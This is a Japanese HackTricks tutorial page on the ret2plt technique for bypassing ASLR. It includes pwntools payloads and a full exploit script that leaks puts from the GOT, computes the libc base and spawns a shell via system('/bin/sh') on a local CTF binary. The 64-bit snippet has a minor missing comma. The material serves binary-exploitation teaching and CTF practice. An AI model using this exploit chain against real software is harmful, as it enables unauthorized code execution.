Ret2plt
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
この技術の目的は、PLTから関数のアドレスを漏洩させることでASLRをバイパスすることです。例えば、libcから関数puts
のアドレスを漏洩させると、libc
のベースがどこにあるかを計算し、**system
**などの他の関数にアクセスするためのオフセットを計算できます。
これは、pwntools
ペイロードを使用して行うことができます(こちらから):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
puts
(PLTからのアドレスを使用)が、GOT(グローバルオフセットテーブル)にあるputs
のアドレスで呼び出されることに注意してください。これは、puts
がputs
のGOTエントリを印刷する時点で、このエントリがメモリ内のputs
の正確なアドレスを含むためです。
また、エクスプロイトでmain
のアドレスが使用されていることに注意してください。これにより、puts
が実行を終了すると、バイナリが終了するのではなくmain
を再度呼び出します(したがって、漏洩したアドレスは有効なままになります)。
caution
これが機能するためには、バイナリはPIEでコンパイルされていない必要があります、またはPIEをバイパスするための漏洩を見つける必要があります。そうしないと、最初にPIEをバイパスする必要があります。
このバイパスの完全な例はこちらにあります。これはその例からの最終的なエクスプロイトでした:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
その他の例と参考文献
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64ビット、ASLRが有効だがPIEなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、その後
system('/bin/sh')
を呼び出すROPガジェットを作成します。 - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64ビット、ASLRが有効、カナリアなし、子関数からmainへのスタックオーバーフロー。ROPガジェットを使ってputsを呼び出し、GOTからputsのアドレスを漏洩させ、その後one gadgetを呼び出します。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。